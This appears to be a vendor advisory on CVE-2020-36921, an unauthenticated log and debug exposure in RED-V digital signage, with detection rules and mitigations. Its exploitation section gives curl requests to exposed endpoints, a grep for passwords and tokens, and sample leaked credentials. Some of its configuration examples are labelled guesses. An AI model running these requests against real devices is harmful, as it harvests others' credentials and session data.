CVE-2020-36921

Executive Summary

CVE-2020-36921 is an information disclosure vulnerability in the RED-V Super Digital Signage System version 5.1.1. This flaw allows unauthenticated attackers to access sensitive webserver log files and debug information by visiting specific endpoints. The vulnerability exposes system resources, debug logs, and potentially other sensitive data without requiring any authentication. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the actual severity is high (CVSS 7.5) due to the ease of exploitation and potential for data leakage. No patch is currently available, and the vendor (Red-v) has not released a fix.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone embedded system (Digital Signage) running a custom web server.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit (no authentication, no user interaction) and exposes sensitive log data that may contain credentials, session tokens, or system configuration details.

Deep Dive & Mechanics

The RED-V Super Digital Signage System runs a web server that exposes multiple endpoints for debugging and system monitoring. These endpoints are not protected by any authentication mechanism. Attackers can directly request URLs such as:

• /debug/logs/ – Access to debug log files
• /system/resources/ – System resource information (CPU, memory, disk usage)
• /logs/ – General webserver logs

The logs may contain:

• User session tokens
• Admin credentials (if logged via POST parameters)
• Internal IP addresses and network topology
• Application error messages revealing stack traces

The vulnerability is rooted in the web server configuration, which does not restrict access to these sensitive paths. No input validation or access control is applied.

Vulnerable vs. Patched Code

Vulnerable Code (RED-V 5.1.1): The web server likely uses a configuration file (e.g., nginx.conf or httpd.conf) that allows directory listing and direct access to log directories.

# Vulnerable configuration (example)
location /logs/ {
    alias /var/log/redv/;
    autoindex on;
}

Patched Code (Hypothetical): A patch would require adding authentication and disabling directory listing.

# Patched configuration
location /logs/ {
    alias /var/log/redv/;
    internal; # Only allow internal redirects
    deny all; # Block external access
}

Since no official patch exists, the only mitigation is to block access via a reverse proxy or firewall.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy RED-V Super Digital Signage System 5.1.1 in a virtual machine.
2. Ensure the web server is running on port 80 or 443.
3. Use a tool like curl or a web browser to access the vulnerable endpoints.

Exploitation Steps:

1. Identify the target IP (e.g., 192.168.1.100).
2. Access the debug logs:

   curl http://192.168.1.100/debug/logs/
   

3. Access system resources:

   curl http://192.168.1.100/system/resources/
   

4. Access general logs:

   curl http://192.168.1.100/logs/
   

5. Parse the output for sensitive data (e.g., grep -i "password\|token\|session").

Expected Output:

[2020-01-15 10:23:45] [ERROR] Failed login attempt for admin:password123
[2020-01-15 10:24:01] [INFO] Session token: abcdef1234567890

Blue Team (Defense)

Detection:

• Monitor for requests to /debug/logs/, /system/resources/, and /logs/ paths.
• Alert on any unauthenticated access to these endpoints.

Mitigation:

• Place a reverse proxy (e.g., Nginx, Apache) in front of the device and block these paths.
• Use a Web Application Firewall (WAF) to filter requests.
• Restrict network access to the device (e.g., VPN only).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /debug/logs/, /system/resources/, /logs/
  • User-Agent strings from common scanning tools (e.g., curl, python-requests)
• File IOCs:
  • Log files containing password, token, session in plaintext
• System IOCs:
  • Unusual access to /var/log/redv/ directory

Detection Engineering

YARA Rule

rule CVE_2020_36921_InfoDisclosure {
    meta:
        description = "Detects access to RED-V Super Digital Signage debug logs"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2020-36921"
    strings:
        $s1 = "/debug/logs/" ascii wide nocase
        $s2 = "/system/resources/" ascii wide nocase
        $s3 = "/logs/" ascii wide nocase
        $s4 = "RED-V" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: CVE-2020-36921 RED-V Super Digital Signage Information Disclosure
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to sensitive endpoints on RED-V Super Digital Signage System
author: Valters IT
date: 2025/04/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36921
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem:
            - "/debug/logs/"
            - "/system/resources/"
            - "/logs/"
    condition: selection
falsepositives:
    - Legitimate admin access (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-36921 RED-V Super Digital Signage Information Disclosure"; flow:to_server; content:"GET"; http_method; content:"/debug/logs/"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2020-36921 RED-V Super Digital Signage System Resources"; flow:to_server; content:"GET"; http_method; content:"/system/resources/"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2020-36921 RED-V Super Digital Signage Logs"; flow:to_server; content:"GET"; http_method; content:"/logs/"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block access to the vulnerable endpoints using a reverse proxy or firewall.

   location ~ ^/(debug|system|logs)/ {
       deny all;
       return 403;
   }
   

2. Restrict network access to the device (e.g., place behind a VPN).
3. Monitor logs for any unauthorized access attempts.

Long-term Fix:

• Contact the vendor (Red-v) for an official patch.
• If no patch is available, consider replacing the device with a secure alternative.
• Implement a Web Application Firewall (WAF) to filter malicious requests.

Workaround:

• Disable the debug endpoints in the web server configuration if possible.
• Change the default credentials and ensure strong passwords are used.

Valters IT